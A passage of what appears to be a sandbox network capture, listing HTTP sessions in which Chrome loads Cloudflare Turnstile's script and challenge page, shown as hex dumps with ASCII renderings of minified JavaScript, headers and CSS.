75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-11-21 13:44:34 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-11-21 13:44:34 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49732	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:35 UTC	383	OUT	GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:36 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:36 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Mon, 28 Oct 2024 19:08:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8e611d898c6880d0-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:36 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49731	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:35 UTC	801	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://robustwaresinc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:36 UTC	1362	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26447 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-11-21 13:44:36 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 36 31 31 64 38 39 65 62 61 61 34 33 63 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8e611d89ebaa43cf-EWRalt-svc: h3=":443"; ma=86400
2024-11-21 13:44:36 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d Data Ascii: enge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-
